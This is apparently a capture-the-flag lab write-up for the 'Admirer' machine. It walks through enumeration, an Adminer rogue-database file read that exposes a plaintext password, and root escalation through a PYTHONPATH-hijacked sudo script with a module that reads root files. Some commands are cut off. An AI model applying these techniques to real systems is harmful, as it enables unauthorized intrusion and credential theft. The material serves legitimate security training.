Admirer Write-Up

User Flag

Result of nmap scan:

21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 7.4p1 Debian 10+deb9u7 (protocol 2.0)
| ssh-hostkey: 
|   2048 4a:71:e9:21:63:69:9d:cb:dd:84:02:1a:23:97:e1:b9 (RSA)
|   256 c5:95:b6:21:4d:46:a4:25:55:7a:87:3e:19:a8:e7:02 (ECDSA)
|_  256 d0:2d:dd:d0:5c:42:f8:7b:31:5a:be:57:c4:a9:a7:56 (ED25519)
80/tcp open  http    Apache httpd 2.4.25 ((Debian))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
| http-robots.txt: 1 disallowed entry 
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Admirer

Only three ports are open but we have the robots.txt which disallows the /admin-dir directory.
Heading to our browser, we see that we have a website with an image gallery, nothing special in the source and the /admin-dir responds with a 403. Let’s fire Gobuster to see what we can find in that directory.

$ gobuster dir -t20 -w /usr/share/dirb/wordlists/big.txt -u -x php

And that came empty. But in the /robots.txt, waldo is saying that the directory contains contacts and credentials so let’s try again with other extensions.

$ gobuster dir -t20 -w /usr/share/dirb/wordlists/big.txt -u -x txt,zip,gz,sql

/contacts.txt (Status: 200)
/credentials.txt (Status: 200)

The credentials.txt contains

[Internal mail account]
[email protected]

[FTP account]

[Wordpress account]

Try the FTP credentials and you will have access to two files: dump.sql and html.tar.gz.

The dump shows that MariaDB is used and gives also the version. The tar.gz file seems to be a backup of the /var/www/html directory. It contains a directory named w4ld0s_s3cr3t_d1r which seems to be the old version of the /admin-dir and contains some credentials which are not in the current admin-dir.
We can see also the utility-scripts directory which still exists in the box. However, not all php files in the backup directory are in the box, which means somethings changed. I focused on the db_admin.php file which does not exist anymore but there is a comment inside saying it should be replaced with something more decent. So let’s use Gobuster once more to check if there is some new files.

$ gobuster dir -t20 -w /usr/share/dirb/wordlists/big.txt -u -x php

/adminer.php (Status: 200)
/info.php (Status: 200)
/phptest.php (Status: 200)

Adminer is an alternative to phpMyAdmin used to manage database. I fired up hydra using username waldo, a password list composed of all the passwords I found in the live website and the backup in FTP, localhost as server and admirerdb as database as seen in the SQL dump. Unfortunately, none of the credentials worked.

Next, like the adminer version is shown in the page, I decided to hunt for known vulnerabilities.
Searchsploit only gives one result which is not about version 4.6.2 but we got lucky with Google by finding this result. In a nutshell, it says that adminer while hosted in the victim allows the attacker to connect using a known remote database server then use the LOAD DATA LOCAL to read files that are hosted in the victim. To summarize, these are the steps I took:

  • Configure my MariaDB Server (in my VM) to allow the command LOAD DATA LOCAL by adding local-infile=1 to my.cnf. Comment out the bind-address line to allow not only for local connections but also remote connections and restart MariaDB.
  • Create a user that is allowed to connect remotely to our MariaDB, more here.
  • Create a table named Dump in a database with a single column data of type text.
  • Login in Adminer to our MariaDB.
  • As the admirerdb password is given in the index.php (as noticed in the html backup), use adminer to make a request for loading the index.php in our Dump table.

So heading back, to the adminer page after the MariaDB setup, I gave as server my tun0 ip address, as database my database containing the Dump table, my user and password and it works! Go to SQL Command and enter

LOAD DATA LOCAL INFILE '/var/www/html/index.php' INTO Dump;

That gave us the real password of waldo: &<h5b~yK3F#{PaPB&dA}{H>. Use SSH to connect and get the user flag.

Root Flag

sudo -l gives:

User waldo may run the following commands on admirer:
    (ALL) SETENV: /opt/scripts/

The SETENV got my attention since it means, we need to put something like var=value before calling the script. Reading the for possible exploits I found nothing because all the binaries are called using their absolute path except for echo. And once we put sudo in front of the command, the PATH variable used becomes the root one’s so no need to define our own echo script and add it’s path to waldo’s PATH variable. However, the script calls another python script for backing up the web directory.


from shutil import make_archive

src = '/var/www/html/'

# old ftp directory, not used anymore
#dst = '/srv/ftp/html'

dst = '/var/backups/html'

make_archive(dst, 'gztar', src)

I formulated the idea to foul the script to import a make_archive from my custom shutil script. By doing so, the SETENV I noticed earlier will make sense. If you don’t know, python use a variable called PYTHONPATH to locate the modules. By analogy, it’s the same thing the shell does with the PATH variable. In my make_archive, I will limit myself to just read the root flag since it’s enough but you can go further and try to spawn a shell or reverse shell.

[email protected]:~$ mkdir /tmp/overlordh # Always make a dir for your workspace to not spoil others
[email protected]:~$ cd /tmp/overlordh
[email protected]:/tmp/overlordh$ cat <<EOF >
def make_archive(a, b, c):
    f = open('/root/root.txt', 'r')
[email protected]:/tmp/overlordh$ sudo PYTHONPATH=/tmp/overlordh /opt/scripts/

[[[ System Administration Menu ]]]
1) View system uptime
2) View logged in users
3) View crontab
4) Backup passwd file
5) Backup shadow file
6) Backup web data
7) Backup DB
8) Quit
Choose an option: 6 # Choose 6

Running backup script in the background, it might take a while...
<flag appear here>
[email protected]:/tmp/overlordh$ cd .. && rm -rf overlordh #Always clean behind you

Congratulations, you got the flag.

Mamadou L. NIANG
Mamadou L. NIANG
Cybersecurity Consultant

Senior Java developer mainly around Spring and now, on my way to being a professional pentester.I love learning plenty of stuff and sometimes breaking them.

comments powered by Disqus